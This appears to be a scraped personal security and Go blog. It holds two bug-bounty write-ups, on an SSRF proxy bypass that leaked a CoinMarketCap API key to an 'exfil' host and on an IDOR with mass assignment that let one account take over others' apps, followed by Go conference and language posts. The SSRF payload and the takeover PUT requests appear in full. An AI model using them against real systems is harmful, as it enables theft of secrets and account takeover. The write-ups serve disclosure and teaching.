It all began with an intriguing proxy ¶

To facilitate wallet operations, the app provided users with current exchange rates, which were periodically refreshed in the UI. I can’t claim I was particularly interested in how the app was getting those exchange rates, but something caught my attention. As always when on the hunt for bugs, I was forcing all my Web traffic through Burp. I casually inspected my Burp history, and noticed requests of this form:

https://proxy.example.org/https://pro-api.coinmarketcap.com/v1/cryptocurrency/quotes/latest?symbol=BTC&convert=USD

The presence of a URL in the path (as opposed to inside the query string) of another URL struck me as awkward, and seemed like a good place for bugs to lurk.

Because I hadn’t heard of CoinMarketCap before then, I had to familiarise myself with the service. It describes itself as

the world’s most-referenced price-tracking website for cryptoassets in the rapidly growing cryptocurrency space.

I consulted their API documentation where I found confirmation that my target was getting its exchange rates from CoinMarketCap, as I quickly chanced upon the section describing how to consume their /cryptocurrency/quotes/latest endpoint. Moreover, the frontend was evidently delegating CoinMarketCap API calls to the proxy.example.org host. “Why the need for a proxy, though?”, I wondered.

The proxy’s role becomes clear ¶

Perusal of the CoinMarketCap API documentation revealed the answer to my question:

Making HTTP requests on the client side with JavaScript is currently prohibited […]. This is to protect your API key which should not be visible to users of your application so your API key is not stolen. Secure your API Key by routing calls through your own backend service.

Ok, that made sense to me. Because consuming the CoinMarketCap API requires a paid account and an API key that is meant to remain secret, the target could not simply have queried the API from their frontend: doing so would have indeed forced the target to disclose their API key in their client’s source code:

----------  API key   -------------------
|        |----------->|                 |
|        | (exposed!) | pro-api         |
| client |            |  .coinmarketcap |
|        |            |   .com          |
|        |<-----------|                 |
----------            -------------------

Anybody with the knowledge of that API key could then have taken advantage of the target’s paid plan on CoinMarketCap. Host proxy.example.org was obviously playing the role of the “backend service” mentioned in the CoinMarketCap API documentation, and at least one of its responsibilities was now clear to me: querying the CoinMarketCap API on behalf of the user agent but keeping the target’s CoinMarketCap API key secret.

----------          ---------------------  API key  -------------------
|        |--------->|                   |---------->|                 |
|        |          |                   |           | pro-api         |
| client |          | proxy.example.org |           |  .coinmarketcap |
|        |          |                   |           |   .com          |
|        |<---------|                   |<----------|                 |
----------          ---------------------           -------------------

In fact, two further observations indicated that this was the proxy’s whole reason for being:

My Burp history didn’t contain any requests to host proxy.example.org other than those specific to CoinMarketCap.
Attempts to trick proxy.example.org into sending requests to hosts like google.com invariably resulted in a disheartening 400 Bad Request response:
```
GET /https://google.com HTTP/1.1
Host: proxy.example.org
--snip--

HTTP/1.1 400 Bad Request
--snip--
```

The proxy endpoint had evidently been designed to only ever send requests to host pro-api.coinmarketcap.com. “Perhaps I can find a chink in the armour, though”, I speculated.

A surprisingly easy bypass ¶

If I managed to forge a request to a host under my control, I would likely be able to disclose sensitive information, including the target’s CoinMarketCap API key:

----------           ---------------------          -------------------
|        |           |                   |          |                 |
|        | malicious |                   |\A        | pro-api         |
| client |---------->| proxy.example.org | \P       |  .coinmarketcap |
|        |  request  |                   |  \I      |   .com          |
|        |           |                   |   \      |                 |
----------           ---------------------    \k    -------------------
                                               \e
                                                \y  ------------------
                                                 `->|                |
                                                    | attacker-site  |
                                                    |  .com          |
                                                    |                |
                                                    ------------------

I ran a few tests, and I soon noticed an interesting behaviour: whenever I submitted a URL that started with https://pro-api.coinmarketcap.com, such as https://pro-api.coinmarket.computer, the proxy would respond with a 502 Bad Gateway, as opposed to a 200 OK or a 400 Bad Request:

GET /https://pro-api.coinmarketcap.computer HTTP/1.1
Host: proxy.example.org
--snip--

HTTP/1.1 502 Bad Gateway
--snip--

I interpreted this observable difference in behaviour as a hint that the proxy was only requiring the user-supplied URL to have the expected prefix: it if did, the proxy would oblige and attempt to send a request to the specified host (pro-api.coinmarketcap.computer, in my earlier example). To corroborate my intuition, I decided to run another test, this time specifying the expected host but substituting http for https as the scheme:

GET /http://pro-api.coinmarketcap.com HTTP/1.1
Host: proxy.example.org
--snip--

HTTP/1.1 400 Bad Request
--snip--

Very promising! This suggested to me that bypassing the proxy’s incautious URL validation was indeed possible. Where to begin, though? Well, as James Kettle (a.k.a. albinowax) writes,

the often overlooked ability to use an @ to create a misleading URL is frequently useful.

To understand why, you should know that, according to RFC 3986, the presence of a @ character in the authority part of a URL has a very specific meaning: it marks the end of the (optional) userinfo part and the beginning of the host part. By appending @attacker-site.com to the host part of a URL, you can often coax an incautious server into sending a request to attacker-site.com rather than to the originally intended host. This trick has worked for me time and time again, and this occasion was no exception. By issuing the following request, I was again able to obtain a 502 Bad Gateway response from the proxy.

GET /https://pro-api.coinmarketcap.com@exfil.jub0bs.com HTTP/1.1
Host: proxy.example.org
--snip--

HTTP/1.1 502 Bad Gateway
--snip--

(Note: I could have simply leveraged Burp Collaborator here, but I wasn’t aware of that feature at the time.)

Had I managed to trick the proxy into sending a request to my exfil subdomain? To check this, I deployed a minimal server to exfil.jub0bs.com. I repeated that last attack and immediately inspected my server’s log files. Waiting for me there was a new log entry about a recent HTTP request. “Success!”, I exulted.

Through the proxy and what I found there ¶

The log entry in question contained some information of secondary importance. In particular, I learned that my forged request contained the following header,

User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)

which revealed that the proxy was written in Node.js and used NPM module node-fetch to consume the CoinMarketCap API. Such information about server-side technology can prove useful to an attacker. (Note: according to my research, the presence of “1.0” in the User-Agent header is not a reliable indicator that version 1.0 of node-fetch is being used by the server.)

Of course, the target’s CoinMarketCap API key was the real prize; and there it was, in a header called X-CMC_PRO_API_KEY. I fired up curl and sent a GET request to

https://pro-api.coinmarketcap.com/v1/key/info

using the API key I had just stolen from the target. The response revealed that the target was on CoinMarketCap’s Startup plan, which imposes some rate limiting and affords a modest amount of daily credit to subscribers. A back-of-the-envelope calculation told me that an attacker could exhaust the target’s daily credit in fewer than 12 minutes, thereby depriving the target’s ability to get up-to-date exchange rates for the remainder of the day.

Such an attack, if launched every day immediately after CoinMarketCap reset credit for the day, would seriously hamper usability of the target’s Web app’s: it could lead users to place trades on the basis of exchange rates stale by up to almost 24 hours; this is no laughing matter, especially when you consider how volatile most cryptocurrencies can be.

Resolution ¶

I reported my findings to the target, and urged them to revoke their CoinMarketCap API key after they fixed the URL validation of their proxy.

I got a prompt and grateful reply from the target, which eventually rewarded me in cryptocurrency tokens worth a total of about $1,000 at the time. I haven’t done much with those tokens; they’re still sitting in my crypto wallet. Fortunately, the token’s exchange rate against the Euro has since more than doubled, which isn’t bad at all!

Conclusion ¶

If you’re a developer, don’t treat URL parsing lightly: it is often critical to security but fraught with peril. Use a proven URL-parsing library instead of relying on run-of-the-mill or custom string-processing functions.

If you’re a budding hacker, I hope this post spurred your interest in server-side request forgery. If you want to dig deeper on the interplay between shoddy URL parsing and SSRF, you will enjoy the talk that Orange Tsai gave at DEF CON 25. Check it out!

Chaining an IDOR with a business-logic error to achieve critical impact

Tue, 26 May 2020 16:00:00 +0000

I recently stumbled upon a critical instance of broken-access control, and I thought its story would make for an interesting blogpost. I’ve deliberately omitted some details (e.g. irrelevant HTTP headers) in the interest of simplicity and concision. Morever, all clues to the identity of the organisation I was hacking have been expunged from this post, for obvious reasons.

A bit about the target ¶

The target consists in a service that allows users to create server-side apps via a Web-based dashboard. Each app is owned by one and only one account, and accounts are meant to be completely isolated from one another.

Creating an app requires you to choose a title and a URL for it. Each app is attributed a UUID upon creation. An app’s UUID is public, as it’s meant to be explicitly referenced in its frontend counterpart.

An account can

create new apps;
modify the title and URL of an app it owns;
delete an app it owns (an action that cannot be undone).

Shifting my focus to access control ¶

I quickly came across some Low to Medium vulnerabilities, which I promptly reported. Nothing to write home about, really.

Because the UI looked sleek and the system well factured overall, I wasn’t sure I would be able to find anything above Medium severity. That’s when I decided to shift my focus to access control. Perhaps some Insecure Direct Object Reference (IDOR) had so far eluded me…

Gearing up for IDOR hunting ¶

For Web hacking, I typically exercise the Web app in Firefox and I proxy all the associated traffic through Burp. I recently added Firefox Multi-Account Containers to my bag of tricks for testing access control. This Firefox add-on is a bit like private windows on steroids: it allows you to easily switch between sessions but obviates the need to repeatedly log out as one user and log in as another. This tool therefore eliminates some of the tedium of manual IDOR hunting, and I wish I had known about it sooner. For a good introduction to Firefox Multi-Account Containers, check out Katie’s video on the topic (thanks, Katie!).

Like many other security researchers, I usually create at least two dummy accounts, if possible. I can then safely check whether poking at the resources owned by one account while logged in as the other has any effect; that way, I don’t run the risk of interferring with resources owned by legitimate users of the system.

This engagement was no exception: I created two dummy accounts, which got attributed IDs 101 and 102. I decided to use account 101 to play the part of the attacker and account 102 to play the part of the victim.

I proceeded to create one app in each account, which got attributed the following UUIDs (simplified for this post):

10110110-1101-1011-0110-110110110110 (owned by account 101, the attacker)
10210210-2102-1021-0210-210210210210 (owned by account 102, the victim)

Sequential account IDs in the URL, but no IDOR there ¶

In my proxy’s history, I noticed that, whenever I would view the app I created under the attacker’s account, the following request would be issued:

GET /accounts/101/apps/10110110-1101-1011-0110-110110110110
Host: api.example.org
Authorization: Bearer

Something interesting jumped at me straight away: accounts were identified by sequential integers. Resources publicly identified by sequential integers are always of interest to an attacker. Because sequential IDs are trivial to enumerate, they can, at the very least, be exploited to reveal more business intelligence than the organisation realises: external observers can indeed monitor the rate at which new IDs are issued in order to gauge how much the system is getting exercised and infer how well the business is doing.

More to the point, finding a vulnerable injection point where sequential IDs are being used is quite common. Therefore, I initially attempted to access app resources owned by the victim while logged in as the attacker:

GET /accounts/102/apps/10210210-2102-1021-0210-210210210210
Host: api.example.org
Authorization: Bearer

But the response was as you would expect from a secure system:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "statusCode": 403,
  "message": "You do not have permission to perform this request."
}

In other words:

You shall not pass!

My hopes to find an IDOR were somewhat dashed, but I decided to continue my investigation undeterred.

A suspicious but inconclusive GET response… ¶

After some thinking, I got another idea: what would happen if I substituted the UUID of the attacker’s app for the UUID of the victim’s app in the URL path? So I tried that:

GET /accounts/101/apps/10210210-2102-1021-0210-210210210210
Host: api.example.org
Authorization: Bearer

The response puzzled me:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

null

Why use text/html as content type rather than application/json? More importantly, why use 200 as response status code rather than 404? The latter would have been more appropriate than the former: no app with that UUID existed under account 101, after all. Perhaps this was just an implementation quirk, or perhaps I was onto something.

…PUT me on the right track ¶

After inspecting my proxy’s history, I noticed that modifying the settings of the attacker’s app would issue a request like the following:

PUT /accounts/101/apps/10110110-1101-1011-0110-110110110110 HTTP/1.1
Host: api.example.org
Authorization: Bearer 
Content-Type: application/json

{
  "title": "dummy app in account 101",
  "url": "https://jub0bs.com"
}

Although I couldn’t access another account’s app, perhaps I could modify it. I issued the following PUT request in an attempt to modify the victim’s app while logged in as the attacker:

PUT /accounts/101/apps/10210210-2102-1021-0210-210210210210 HTTP/1.1
Host: api.example.org
Authorization: Bearer 
Content-Type: application/json

{
  "title": "pwned by account 101!",
  "url": "https://evilzone.org"
}

The response looked promising:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{
  "uuid": "10210210-2102-1021-0210-210210210210",
  "title": "pwned by account 101!",
  "url": "https://evilzone.org",
  "isLive": true,
  "accountId": 102
}

I had apparently just changed the title and URL of the victim’s app while logged in as the attacker. I switched to the victim’s session to double-check: sure enough, after a page refresh, the attacker’s changes were reflected on the victim’s dashboard.

The IDOR I so coveted had finally materialised in front of my eyes! I had just discovered that any account could change the title and URL of any app in the system. As such, this vulnerability would already have rated as a High, but I’m glad I didn’t stop there.

Stealing the victim’s app ¶

I was about to report the IDOR I had just found, when something in the body of the PUT response caught my attention: the suspicious presence of an accoundId field. This repetition seemed superfluous: why specify the ID of the account owning the app in the response body, since that ID was already specified in the URL path?

This suggested another attack to me: even though the only attributes of an app meant to be modifiable were its title and its URL, perhaps some business-logic error would allow me to change other app attributes simply by specifying the relevant fields in the JSON body of the PUT request. Because modifying an app’s account ID was of particular interest to me, I issued the following request:

PUT /accounts/101/apps/10210210-2102-1021-0210-210210210210 HTTP/1.1
Host: api.example.org
Authorization: Bearer 
Content-Type: application/json

{
  "accountId": 101
}

Here is the response I got:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{
  "uuid": "10210210-2102-1021-0210-210210210210",
  "title": "pwned by account 101!",
  "url": "https://evilzone.org",
  "isLive": true,
  "accountId": 101
}

Shocking! I had seemingly just transferred ownership of the victim’s app to the attacker’s account, simply by issuing a PUT request from the attacker’s session. With uncontained excitement, I quickly double-checked in the UI that the attack had been successful. Yes! The attacker’s dashboard now listed both apps (the app created by the attacker and the one created by the victim), whereas the victim’s dashboard listed none.

Total compromise of the system ¶

Of course, this attack wasn’t restricted to my two dummy accounts: just by knowing an app’s UUID (remember: they’re public), I could transfer ownership of the app from any account to an account I controlled.

I subsequently realised that I could modify more app attributes that way: the PUT request more or less blindly accepted any known field that I would specify in the body and effect the required changes. This particular business-logic error falls under CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes. It’s similar in nature to the mass-assignment vulnerability that Egor Homakov reported to GitHub back in 2012. Moreover, app creation and deletion (via POST and DELETE requests, respectively), also suffered from the same IDOR vulnerability.

At that stage, I could literally own any app in the system. Needless to say, my findings totally violated the system’s permission model. What compounded the problem is that the organisation behind this system was dogfooding it, and their app’s UUID could trivially be discovered on their website! I resisted (with some difficulty) the temptation to mess with their main app; after all, I had already gathered all the evidence I needed, and facetiousness could only have compromised my relationship with the organisation. I reported the issue with a Critical severity rating.

Conclusion ¶

Hunting for IDORs can be tedious, but finding one is exhilarating. Many IDORs are right for the taking—insofar as detecting and exploiting them doesn’t require any advanced technical skills—and they often have a significant impact on the target’s security, especially when you can chain them with some other vulnerability. I know I will keep my eyes peeled for overtrusting PUT requests from now on.

Plugging Git leaks: preventing and fixing information exposure in repositories

Wed, 26 Feb 2020 09:00:00 +0000

My first guest post on Honeybadger’s blog, entitled

Plugging Git Leaks: Preventing and Fixing Information Exposure in Repositories

has just been published!

Summary of dotGo 2019

Thu, 11 Apr 2019 09:00:00 +0000

(This post is also available in French on Human Coders' blog.)

About two weeks ago, I had the privilege to attend dotGo 2019, the fifth edition of the European Go Conference. Whereas tech conferences I’ve attended in the past tended to be held in soulless hotels or convention centres, the dotGo team went all out and managed to secure the prestigious Théâtre de Paris, on rue Blanche, as a venue for this conference. No doubt the sponsors, including Heetch, Microsoft, Datadog, Soucegraph, and GitHub, among others, helped.

Golang legend Dave Cheney acted as master of ceremony. Despite its short duration (a single day, followed by a day of workshops), the conference was packed with talks. Here are my takeaways. I won’t go into too much detail here; I just want to give you a taste of what you can expect from the talks, which should soon be available on dotconferences.com.

(Those intrigued by Go may be interested to know that I give training for Go beginners through Human Coders.)

First session ¶

Daniel Martí: more reliable microbenchmarks ¶

Daniel Martí opened the conference with a rather technical talk. Although the Go command-line interface allows programmers to run microbenchmarks on performance-critical parts of their code, the results can be inconclusive because of prohibitive variance. In plain terms, due to various environmental factors (such as CPU activity), a microbenchmark may look promising on one run, only to sorely disappoint on a subsequent run. Daniel showed a number of novel techniques to reduce the noise and get more definitive answers from your microbenchmarks.

Kat Zién: domain-driven design and Go ¶

Kat Zién then gave a talk on a topic close to my domain-driven designer’s heart: hexagonal architecture. The term was coined by Alistair Cockburn, but the basic idea can be traced back to earlier times and keeps being rediscovered under different names, such as “onion architecture”. Hexagonal Architecture consists in structuring a system by cleanly separating the implementation of the business domain from the technical components (e.g. the database) that support it. The approach promises a more understandable and maintainable system.

Kat’s talk was a good introduction to hexagonal architecture, but I wish she had shown how to apply its principles to Go programs specifically (check out Marcus Olsson’s talk about this). However, talks had to be kept short, and I can forgive Kat for not delving too much into the gory details. I’ll be sure to check her future talks out.

Ignat Korchagin: Go as a scripting language ¶

Ignat Korchagin then shed some light on the hoops one has to jump through in order to use Go as a scripting language. In particular, Go’s syntax being incompatible with the standard shebang syntax does not make our life easier. Ignat showed some workarounds, but none satisfy me yet. I’ll stick to Python or shell scripts for now.

Michael McLoughlin: closer to the metal ¶

Michael McLoughlin then talked about the mechanics of writing assembly in Go, with a strong focus on amd64. When performance is paramount, Go may sometimes fall short, and you have have to resort to writing code in assembly; several standard-library routines are actually written not in Go, but in assembly. However, writing raw assembly code is a dangerous exercise (no type checker to guide you towards correctness), and bugs can have serious ramifications (imagine a bug in a cryptographic routine).

Michael’s answer to this problem is avo, which allows you write Go programs to generate assembly code. The benefits are clear: the Go source code fed to avo is comparatively more compact, easier to test, understand, and maintain than hand-rolled assembly code, yet the generated assembly code is as performant. Michael illustrated the benefits of his approach by showcasing a SHA-1 implementation; impressive!

Second session ¶

Lightning talks ¶

The audience was then treated to a round of lightning talks by Olivier Wulveryck, Roberto Clapis, Natalie Pistunovich, Valentin Deleplace, and Joan López de la Franca Beltran. Valentin Deleplace, with his dual implementations of a semaphore, was the highlight, for me. You can think of a semaphore as a swimming pool where patrons must each don a swimming cap before entering the pool and where only a fixed number of swimming caps are made available. Alternatively, you can think of a semaphore as a swimming pool where patrons must lock their belongings before entering the pool and the number of lockers is limited.

Dave Cheney: constants and variables ¶

Regular-length talks resumed with Dave Cheney’s. Stepping out of his role of master of ceremony for a moment, Dave chose to revisit one of his 2016 blogposts. Go packages typically define some sentinel error values using the errors.New function. For instance, packages io and rsa define struct values respectively named EOF and ErrVerification, which clients can then use in equality tests to detect whether the code has strayed from the happy path.

In an ideal world, such sentinel error values really ought to be constants but, because of some language quirks, those values have to be defined as variables (using var) and can therefore be clobbered by clients of the package that defines them. You can imagine the ramifications in terms of correctness and security.

Dave then shared his workaround: first, define a custom error type whose underlying type is string, equip it with an Error method that simply returns the string value, and define your sentinel error values with it. Then, the latter can be defined as consts rather than vars, and all is well. This is an interesting approach which you’re free to experiment with in your code, though the idiom is unlikely to achieve currency in the standard library.

Jean de Klerk: Go modules and Git repos ¶

Jean de Klerk talked about the intricacies of having multi-module repositories. Not so long ago, dependency management in Go left much to be desired. Everything changed (for the better) when Go 1.11 added a bona bide module system, born out of the vgo project. The module system is still in its infancy and is expected to reach general-availability status with version 1.13.

The recommended approach is to have to one Go module per Git repository. However, you may, in some cases, want to track multiple modules within the same repo, especially when you work at Google, who seems dead set on monolithic repos. Here be dragons! I’ll let you watch Jean’s talk for the gory details, but my takeaway is this rule of thumb: one module, one repo.

Third session ¶

Johann Brandhorst: WebAssemly from Go ¶

Johann Brandhorst had another live-coding session in store for us, this time about writing WebAssembly using Go. Because I still haven’t delved much into WebAssembly myself, some of Johann’s talk went over my head, but, if the audience’s reaction is anything to go by, good things are coming our way.

Bryan Boreham: garbage-collector tuning ¶

Bryan Boreham gave a talk about how to tune Go’s garbage collector. The JVM’s garbage collector offers numerous options and can be notoriously difficult to tune; there are entire books dedicated to this dark art. Life is comparatively simpler for Gophers: only one option, named GOGC, is available to tune the Go garbage collector! However, Bryan admitted that having options for setting the minimum and maximum sizes of the heap would be useful…

Incidentally, for programs that have modest memory needs and whose execution is guaranteed to be short, Bryan tells us that you can get a performance boost by completely disabling the garbage collector (GOGC=off). A cool trick!

Ellen Körbes: No, this is not a sex toy… ¶

Ellen Körbes, who—and this is important—identifies as non-binary, delivered an audacious live-coding talk about how to design one’s own vagina dilator—look this up, if you need to—using Go-based 3D-modelling tools. Nerd to the core, they even enhanced the original design by adding a Gopher head at the outer end. Nice touch!

Last session ¶

James Bowes: the dangers of `reflect` and `unsafe` ¶

James Bowes gave us pause on whether mere mortals should ever reach for the notorious reflect and unsafe packages. Usage of reflect is pervasive in the standard library: whenever you see empty interfaces (interface{}) or struct tags, there is a good chance that reflect is working its magic under the hood. As for unsafe, it is used in places when sidestepping the type system is essential for good performance.

However, those two packages can be dangerous when used by the uninitiated—yours truly included. James’s injunction is clear: as a rule of thumb, stay away from the unsafe package, and resist the temptation to use reflect (e.g. for run-time dependency injection).

Jess Frazelle: living at RISC-V ¶

Jess Frazelle is a bright star of the Go community. She has a refreshing way of dropping the F-bomb every other sentence, which keeps the audience on its toes. She took us on a whirlwind tour of the x86 zoo of instruction sets. One prominent x86 instruction-set architecture is RISC-V, and Jess talked about her work in adding support for the architecture to Go.

Marcel van Lohuizen: error wrapping goes mainstream ¶

For the final talk of the conference, Marcel van Lohuizen teased upcoming improvements in Go’s error-handling mechanics. Wrapping errors, i.e. the practice of referring to the cause of an error within itself, is a useful feature conspicuously absent from Go’s standard-library errors package. To fill that void, the community has splintered into many different approaches of wrapping errors, all mutually incompatible in slightly different ways. Standardisation around how errors ought to be wrapped was badly needed.

Marcel’s talk described how the errors API is going to expand in Go 1.13 in order to accommodate a canonical way of wrapping errors. The planned changes also open the possibility of error-message localisation, for the benefit of programmers who would rather read error messages in their native tongue. The new API is already available in experimental package golang.org/x/exp/errors. Great stuff!

Epilogue ¶

After a few pints at some pub (whose name I’ve forgotten) next door from the Moulin Rouge, it was time to sleep it off.

Other accounts—including this one (in French)—have popped up on the Web, and I invite you to read them to get a different perspective about the conference.

Thanks again to Human Coders, who generously gave me a conference ticket. dotGo 2020 has already been announced, and will be held in the same venue next March. If it’s anything like this year’s edition, I’ll try my best to attend, and you should too.

Access control in Go: a primer for Java developers

Wed, 22 Aug 2018 21:30:00 +0000

Go supports multiple programming paradigms, including object orientation. However, if you’re coming to Go from Java, you may be slightly… ehm… disoriented. One striking absence is that of any access modifiers. You may be wondering:

Where are my public, protected, and private keywords? What mechanisms for access control does Go provide?

Fret not! Access control in Go is simpler than in Java. No access modifiers needed!

Why Go needs, not four, but only two access levels ¶

You’re most likely familiar with the four access levels that Java provides. I’ve listed them below, from the most to the least restrictive, along with a concise description of their semantics:

private: only accessible from the same class
package-private: only accessible from the same package
protected: only accessible from the same package and (direct or indirect) subclasses
public: accessible from anywhere

(Note: The term “package-private” is nowhere to be found in the Java language specification but was popularised by Joshua Bloch in his book, Effective Java.)

We’ve lined them up; now let’s knock two of them down!

Package as the unit of encapsulation ¶

Go allows you to define concrete types—which in Java, would be classes—but

[…] the unit of encapsulation is the package, not the type as in many other languages.

(source: The Go Programming Language, Donovan & Kernighan, section 6.6)

For instance,

The fields of a struct type are visible to all code within the same package.

(ibid)

Therefore, Go has no need for a distinction between private and package-private. And then there were three:

private: only accessible from the same class
package-private: only accessible from the same package
protected: only accessible from the same package and (direct or indirect) subclasses
public: accessible from anywhere

No inheritance ¶

Most notably, Go provides no mechanism for inheritance. Therefore, Go has no need for a distinction between package-private and protected. And then there were two:

private: only accessible from the same class
package-private: only accessible from the same package
protected: only accessible from the same package and (direct or indirect) subclasses
public: accessible from anywhere

Access control in Go ¶

We’re left with two access levels, which is all Go needs: public and package-private. Go’s terminology is different from Java’s, though: an identifier is said to be either exported (public) or non-exported (package-private). You will likely also come across the term “unexported”, which is an informal synonym of non-exported, but I recommend using the more formal term.

For controlling access to identifiers, the Go designers opted for naming convention rather than verbosity:

An identifier is exported if both:

the first character of the identifier’s name is a Unicode uppercase letter (Unicode class “Lu”); and

the identifier is declared in the package block or it is a field name or method name.

All other identifiers are not exported.

(my emphasis)

To fix ideas, here is an example involving two package-level variables:

package foo

var (
    Bar = "Bar"
    baz = "baz"
)

Package foo exports Bar, because the first letter is uppercase. However, foo does not export baz, because the first letter is not uppercase.

Conclusion ¶

Go was designed to be easy to read, and the design decisions around access control certainly contribute to Go’s readability: not only is the code unencumbered by pesky access modifiers, but the case of an identifier’s first letter is enough to know whether the identifier is exported.

This is just one reason why you may find that reading Go takes less of a toll on your brain than reading Java does. But that’s just my opinion. What do you think?

Defer: sweet, but no syntactic sugar

Wed, 15 Aug 2018 13:15:00 +0000

`defer`, in a nutshell ¶

When learning Go, one quickly comes across the defer keyword. For instance, the Tour of Go introduces defer thus:

A defer statement defers the execution of a function until the surrounding function returns.

The deferred call’s arguments are evaluated immediately, but the function call is not executed until the surrounding function returns.
package main

import "fmt"

func main() {
	defer fmt.Println("world")

	fmt.Println("hello")
}

defer provides a convenient way of ensuring that some piece of code unconditionally gets executed before the enclosing function returns control to its caller.

Often, you’ll write a function that acquires some resources (file descriptor, mutex, etc.). Such a function must typically release those resources before returning, regardless of the execution path—your function may contain numerous return statements indeed. Failing to do so will likely result in issues at run time, such as resource leaks, deadlock, etc.

The Tour of Go is not meant as an exhaustive introduction to Golang; it does a great job at demonstrating how defer works when the enclosing function returns normally, but it leaves some important subtleties out.

How well do you understand `defer`? ¶

Quiz time! ¶

To test Gophers’ understanding of defer’s semantics, I ran the following on the blue site that shall not be named:

Functions foo and bar have exactly the same behaviour/semantics:

func foo(f func()) {
    defer fmt.Println("bye")
    f()
}

func bar(f func()) {
    f()
    fmt.Println("bye")
}

True or false?

Take a moment to think about it… What would your answer have been?

Although the poll’s response rate is low (only 16 respondents) and the respondents’ level of proficiency with Golang difficult to ascertain, I do find the results revealing: the majority of respondents (56%) answered “true”, yet the correct answer is “false”.

An explanation ¶

Functions foo and bar do not have the same semantics. In particular, if function f panics when invoked—either because it happens to be nil or because a panic occurs during its execution—function bar will simply panic (without printing anything), whereas function foo will print “bye” to standard output before panicking. You can try it for yourself on the Go Playground.

In this case, if fmt.println("bye") is to be executed unconditionally, using defer is not optional, because function bar has no guarantee that its callers will pass a function argument that doesn’t panic when invoked. Thanks to the guarantees against panic that defer provides, function foo obviates the problem altogether.

To defer or not to defer: that is the question ¶

This example should serve as a caution. defer is easily misconstrued (guilty!) as a mere syntactic convenience. A failure to use it may result in serious issues in your Go programs.

Granted, if you’re writing performance-critical code (such as a database) and if you know what you’re doing, you may be driven to eschew deferred statements in some places of your code, but

Always use defer (unless you have a good reason not to).

is a good rule of thumb. To paraphrase Bill Kennedy’s exhortation that he repeats liberally in his video course:

Correctness takes precedence over performance.

Having a firm grasp of defer’s semantics is likely to pay great dividends towards the correctness of your Go programs. Don’t defer reading the fine print about defer :)

Additional resources ¶

Defer statements (language specification)
Defer, panic, and recover (Go Blog)

Posts on jub0bs.com

Pure vs. impure iterators in Go

TL;DR ¶

The advent of iterators in Go ¶

The power of iterators ¶

Official guidance on iterator classification ¶

An example of a “pure” iterator ¶

Example of a “single-use” iterator ¶

A problematic classification ¶

A wondrous zoo of “impure” iterators ¶

Should iterators be “pure” whenever possible? ¶

Performance considerations ¶

Consistency with related iterators ¶

Conclusion ¶

Acknowledgments ¶

Appendix: refresher on closures ¶

Challenge: make this Go function inlinable and free of bounds checks

Function inlining & bounds-check elimination ¶

Function inlining 101 ¶

Bounds-check elimination 101 ¶

A delicate balancing act ¶

Can you make this function inlinable and free of bounds checks? ¶

Hints ¶

Why concrete error types are superior to sentinel errors

TL;DR ¶

Setting the scene ¶

Sentinel errors ¶

Concrete error types ¶

Performance ¶

errors.Is and errors.As are slow ¶

Generics to the rescue ¶

Non-reassignability ¶

Dave Cheney’s “constant errors” approach ¶

Types cannot be “clobbered” ¶

Extensibility ¶

On the importance of using a pointer receiver ¶

Transitioning away from sentinel errors is precarious ¶

Discussion ¶

Acknowledgments ¶

The cost of Go's panic and recover

TL;DR ¶

Abusing Java exceptions for control flow ¶

How is this relevant to Go? ¶

Abusing Go’s panic/recover for control flow ¶

The overhead of panic and recover is non-negligible ¶

Recover precludes inlining ¶

No bounds-check elimination for the unidiomatic implementation ¶

What about internal handling of failure cases? ¶

Acknowledgements ¶

Programmatic handling of CORS-configuration errors with jub0bs/cors

TL;DR ¶

jub0bs/cors’s commitment to configuration validation ¶

The need for programmatic handling of CORS-configuration errors ¶

“One chance to get it right” ¶

Defining some errors out of existence ¶

Introducing concrete error types in a new subpackage ¶

A relatively simple example ¶

Eating my own dog food ¶

Call for sponsors ¶

Reconfigurable CORS middleware with jub0bs/cors

TL;DR ¶

Rethinking configuration immutability ¶

jub0bs/cors middleware are now reconfigurable ¶

Comparison with rs/cors’s hook-based approach ¶

Critical vulnerability in jub0bs/cors <= 0.1.2 ¶

Acknowledgements ¶

jub0bs/cors: a better CORS middleware library for Go

TL;DR ¶

Why you should prefer jub0bs/cors ¶

Simpler API ¶

Better documentation ¶

Extensive configuration validation ¶

Debug mode ¶

Stronger performance guarantees ¶

Reasons for favouring rs/cors over jub0bs/cors ¶

Migration guide ¶

Installing jub0bs/cors ¶

Configuring a CORS middleware ¶

Creating a middleware and applying it to a handler ¶

Default configurations ¶

Do not support the `null` origin ¶

Existence oracle for a `Secure` cookie ¶